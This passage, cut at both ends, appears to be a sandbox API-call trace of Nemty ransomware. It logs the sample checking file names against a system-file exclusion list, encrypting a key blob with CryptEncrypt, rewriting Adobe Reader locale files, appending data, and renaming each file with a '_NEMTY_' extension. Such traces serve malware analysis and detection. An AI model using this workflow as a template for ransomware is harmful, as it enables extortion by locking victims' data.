cAlternateFileName="")) returned 1 [0182.562] lstrcmpiW (lpString1="RdLang32.RUM", lpString2=".") returned 1 [0182.562] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="..") returned 1 [0182.562] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="...") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="windows") returned -1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="rsa") returned -1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="NTDETECT.COM") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="ntldr") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="MSDOS.SYS") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="IO.SYS") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="boot.ini") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="boot.ini") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="ntuser.dat") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="desktop.ini") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="CONFIG.SYS") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="RECYCLER") returned -1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="bootmgr") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="programdata") returned 1 [0182.563] lstrcmpiW (lpString1="RdLang32.RUM", lpString2="appdata") returned 1 [0182.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.RUM", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.564] Sleep (dwMilliseconds=0x5) [0182.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2076c050, dwHighDateTime=0x1d561e8)) [0182.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2076c050, dwHighDateTime=0x1d561e8)) [0182.564] GetLastError () returned 0x0 [0182.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.565] GetLastError () returned 0x0 [0182.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.565] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.565] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.565] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.565] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="76yMxdTy2sRHgyajIyPJU99TPK8sKgI2MrtCxy2uJcbil13hlv9pzjtfS6HNFJU4\r\nOA8BkaSgAtt3O8VGCSSdeVhPwdR5FSPjA5kYqwX5XokG+ns+HeJFpRztYnqswvIy\r\n1UKvI+NtfLuRm7mCVlgA2TInM8jfjgVUuPNi8tZj4iSE+R4iBmeazYOIkZovr1DF\r\ngIdGwKJLbjDOYOTbt2iF30yEcEzYOdmAg1nzTBdALJSw9HrhgtbxNlibrWl/Ifb4\r\nK6SF/0RFV2aLqA5Sc5eerPY35CYIQeJCCai3QWrgdW+OPJS1+0bEoVLVr2QCE/QN\r\ng7pfkHGeGut8zCehm9yMCA==\r\n", pcchString=0x653e5dc) returned 1 [0182.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.565] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\RdLang32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\rdlang32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.565] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1394176) returned 1 [0182.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.566] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.566] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.575] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.575] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.576] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1394176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x154600 [0182.576] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.577] CloseHandle (hObject=0x2e8) returned 1 [0182.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.578] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\RdLang32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\rdlang32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\RdLang32.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\rdlang32.rum._nemty_kgobjgd_")) returned 1 [0182.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.579] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.RUM", cAlternateFileName="READOU~1.RUM")) returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2=".") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="..") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="...") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="windows") returned -1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="rsa") returned -1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="NTDETECT.COM") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="ntldr") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="MSDOS.SYS") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="IO.SYS") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="boot.ini") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="boot.ini") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="ntuser.dat") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="desktop.ini") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="CONFIG.SYS") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="RECYCLER") returned -1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="bootmgr") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="programdata") returned 1 [0182.579] lstrcmpiW (lpString1="ReadOutLoud.RUM", lpString2="appdata") returned 1 [0182.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0182.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUM", lpUsedDefaultChar=0x0) returned 15 [0182.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0182.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUM", lpUsedDefaultChar=0x0) returned 15 [0182.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0182.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUM", lpUsedDefaultChar=0x0) returned 15 [0182.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0182.580] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.RUM", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.RUM", lpUsedDefaultChar=0x0) returned 15 [0182.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.580] Sleep (dwMilliseconds=0x5) [0182.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x207b8310, dwHighDateTime=0x1d561e8)) [0182.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x207b8310, dwHighDateTime=0x1d561e8)) [0182.596] GetLastError () returned 0x0 [0182.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.596] GetLastError () returned 0x0 [0182.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.596] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.596] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.596] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.596] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="fex3cwqiwn4KQ95KBNKZ9Xkf2Lr7uFKflgGzKHvzGIOuImvadeZFhOAELtvCJ4dQ\r\nr+Cn5c3lgFONjWMWxW28YIyxf9C9rTuyt0wT6ILW74dLN7L0lSLXDSDbD6YWlHiQ\r\n5sw3mMF+4DOgNqpVd27l1IK2UKJuCNtGRZYF+ft+TpKw0pTIlzHa3weIjGeODtpE\r\npwDEck41LmXw+QJmqNP2bUR9xuKhjDFv5GscJ0ItXmX8P68wlrRO1z3gT/4ZtFYH\r\n8eSucV1ssyDf5eJIXW/rR976AqiOmLKkmVvwcmh6VQmysGCi/jWf/9sn7v/bNaXf\r\nB0FZx7FMM04SPMerTSIhuw==\r\n", pcchString=0x653e5dc) returned 1 [0182.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\ReadOutLoud.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\readoutloud.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.597] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0182.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0182.597] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.597] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0182.599] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.599] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0182.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.600] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0182.600] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.600] CloseHandle (hObject=0x2e8) returned 1 [0182.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.600] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\ReadOutLoud.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\readoutloud.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\ReadOutLoud.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\readoutloud.rum._nemty_kgobjgd_")) returned 1 [0182.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 